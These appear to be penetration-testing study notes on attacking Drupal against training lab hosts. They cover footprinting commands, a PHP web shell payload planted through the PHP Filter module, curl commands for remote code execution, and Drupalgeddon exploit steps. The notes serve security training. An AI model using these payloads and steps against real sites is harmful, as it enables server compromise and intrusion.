Drupal

Introduction

• Drupal is Written in PHP, supports MySQL or PostgreSQL for the backend. SQLite can be used if there's no DBMS installed.

• Drupal indexes its content using nodes.

• A node can hold anything such as a blog post, poll, article, etc.

• The page URIs are usually of the form /node/<nodeid>

---

Drupal Discovery/Footprinting

Command	Description
`curl -s http://drupal.inlanefreight.local	grep Drupal`
Browse to http://drupal.inlanefreight.local/CHANGELOG.txt	Check for istances of Drupal
Browse to http://drupal.inlanefreight.local/README.txt	Check for istances of Drupal
Browse to http://drupal.inlanefreight.local/robots.txt	Check for istances of Drupal or its nodes

---

Attacking Drupal versions prior to version 8 [PHP Filter Module]

• In Drupal versions prior to 8, it's possible to login as an admin to enable the PHP Filter Module

• The PHP Filter Module basically allows PHP code to always be executed

Follow these steps:

1. After enabling the module, navigate to Content → Basic Page

2. Add the following RCE payload: <?phpsystem($_GET['cmd']); ?>

3. Note: toggle text format → php code in the options below

4. Gain RCE: curl -s http://drupal-qa.inlanefreight.local/node/3?cmd=id \| grep uid \| cut -f4 -d">"

---

Attacking Drupal version after version 8 [PHP Filter Module]

Follow these steps:

1. Download the PHP Filter Module: wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

2. Once downloaded go to Administration → Reports → Available updates`.

3. Click on Browse → Select the file → Install.

4. Follow the same steps as described above (same as drupal version prior to 8)

---

Drupalgeddon [Drupal RCE Vulnerabilities]

Over the years, Drupal core has suffered from a few serious remote code execution vulnerabilities, each dubbed Drupalgeddon.

CVE	Versions	Description
CVE-2014-3704 [Drupalgeddon]	versions 7.0 up to 7.31	Pre-authenticated SQL injection that could be used to upload a malicious form or create a new admin user
CVE-2018-7600 [Drupalgeddon2]	versions prior to 7.58 and 8.5.1	Insufficient input sanitization during user registration, allowing system-level commands to be maliciously injected
CVE-2018-7602 [Drupalgeddon3]	versions 7.x and 8.x	This authenticated flaw exploits improper validation in the Form API

Proof of Concept to exploit these vulnerabilities:

1. Drupalgeddon: https://www.exploit-db.com/exploits/34992 or exploit/multi/http/drupal_drupageddon Metasploit module
2. Drupalgeddon2: https://www.exploit-db.com/exploits/44448 Usage:

   • Run the PoC without edits to check if the vulnerability exists

   • To gain RCE, first encode the PHP payload: echo '<?php system($_GET[cmd]);?>' | base64

   • Edit the echo line in the PoC as follows: echo "BASE64OUTPUT" | base64 -d | tee shell.php

   • Run the script: python3 drupalgeddon2.py

   • Gain RCE: curl http://drupal-dev.inlanefreight.local/shell.php?cmd=id

3. Drupalgeddon3: https://github.com/rithchard/Drupalgeddon3 or https://www.exploit-db.com/exploits/44557/